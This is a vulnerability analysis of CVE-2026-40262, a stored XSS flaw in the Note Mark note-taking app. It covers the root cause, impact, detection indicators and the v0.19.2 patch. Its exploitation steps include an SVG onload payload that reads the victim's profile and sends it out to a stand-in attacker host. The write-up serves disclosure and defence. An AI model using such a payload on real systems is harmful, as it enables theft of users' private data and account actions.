CVE-2026-40262: 
vulnerability analysis and mitigation

CVE-2026-40262 is a stored same-origin cross-site scripting (XSS) vulnerability in Note Mark, an open-source note-taking application, caused by unrestricted upload of active content files (HTML, SVG, XHTML) as note assets. It affects Note Mark versions 0.19.1 and prior, and was disclosed by the project maintainer on April 11, 2026, with the GitHub Advisory Database entry published April 13, 2026. The vulnerability carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Note Mark Advisory).

The vulnerability arises from three compounding flaws in the asset delivery path (CWE-79, CWE-434). First, the asset handler at /api/notes/{noteID}/assets/{assetID} uses the h2non/filetype library for MIME type detection, which relies on magic-byte matching and cannot identify text-based formats like HTML, SVG, or XHTML — leaving Content-Type empty for these files. Second, the response sets Content-Disposition: inline, instructing browsers to render the file directly. Third, the response omits the X-Content-Type-Options: nosniff header, allowing browsers to sniff the content and execute embedded JavaScript. Because assets are served from the application's own origin, any script in the uploaded file runs with full same-origin access to the victim's authenticated session and Note Mark API (GitHub Advisory, Note Mark Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser under the Note Mark application's origin, granting access to the victim's private notes, books, profile data, and all authenticated API actions. Both confidentiality and integrity are highly impacted — an attacker can read sensitive note content and perform unauthorized modifications on behalf of the victim. Availability is not directly affected. The scope is changed, as the attacker's payload impacts other users beyond the attacker's own account (GitHub Advisory, Note Mark Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure (Feedly). The EPSS score is approximately 0.031% (2nd percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid low-privilege authenticated account and victim interaction (navigating to the malicious asset URL), which somewhat limits opportunistic exploitation (GitHub Advisory).

1. Obtain authenticated access: Log in to a vulnerable Note Mark instance (v0.19.1 or earlier) with any low-privilege user account that has permission to upload note assets.
2. Craft a malicious payload file: Create an HTML or SVG file containing a JavaScript payload, for example:

   <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('/api/user/profile').then(r=>r.json()).then(d=>fetch('https://attacker.example/exfil?data='+btoa(JSON.stringify(d))))"/>

3. Upload the file as a note asset: Use the Note Mark UI or API to upload the crafted HTML/SVG file as an asset attached to a note, targeting the endpoint POST /api/notes/{noteID}/assets.
4. Obtain the asset URL: Retrieve the direct URL for the uploaded asset, e.g., https://notemmark.example.com/api/notes/{noteID}/assets/{assetID}.
5. Deliver the URL to a victim: Send the asset URL to a target user via a shared note link, message, or other social engineering method.
6. Script executes in victim's browser: When the victim navigates to the asset URL, the browser sniffs the content type, renders the file inline, and executes the embedded JavaScript under the application's origin — giving the attacker access to the victim's authenticated session and API actions (GitHub Advisory, Note Mark Advisory).

• Network: Unexpected outbound HTTP requests from a victim's browser to external domains shortly after accessing a Note Mark asset URL; unusual API calls (e.g., to /api/user/profile, /api/books, /api/notes) originating from a victim's session that do not match normal usage patterns.
• Logs: Note Mark access logs showing requests to /api/notes/{noteID}/assets/{assetID} for assets with .html, .svg, or .xhtml extensions, especially from multiple different user accounts; repeated access to the same asset URL by different users.
• File System: Presence of uploaded files with .html, .svg, or .xhtml extensions in the Note Mark asset storage directory that contain <script> tags or JavaScript event handlers (e.g., onload, onerror).
• Application: Note assets of type HTML or SVG uploaded by non-administrative users, particularly those containing JavaScript or external resource references (GitHub Advisory).

The maintainer released Note Mark v0.19.2 on April 11, 2026, which fixes this vulnerability by adding X-Content-Type-Options: nosniff to all asset responses, serving HTML and SVG files as application/octet-stream with Content-Disposition: attachment (forcing download rather than inline rendering) (Note Mark v0.19.2, Patch Commit). All users should upgrade to v0.19.2 immediately. As a temporary workaround prior to patching, administrators can restrict asset upload permissions to trusted users only, or configure a reverse proxy to add X-Content-Type-Options: nosniff and force Content-Disposition: attachment for asset endpoints. Implementing a Content Security Policy (CSP) on the application origin can also reduce the impact of any successful XSS.

The vulnerability was reported by security researchers QiaoNPC and Across-Verticals-Malaysia, and the maintainer (enchant97) promptly released a patch on the same day as disclosure (Note Mark Advisory). The fix was discussed briefly on Reddit's r/selfhosted community (Reddit) and received minor coverage from security news outlets including The Hacker Wire (The Hacker Wire) and Infinit Security (Infinit Security). Social media activity was limited, with brief mentions on Mastodon and Bluesky.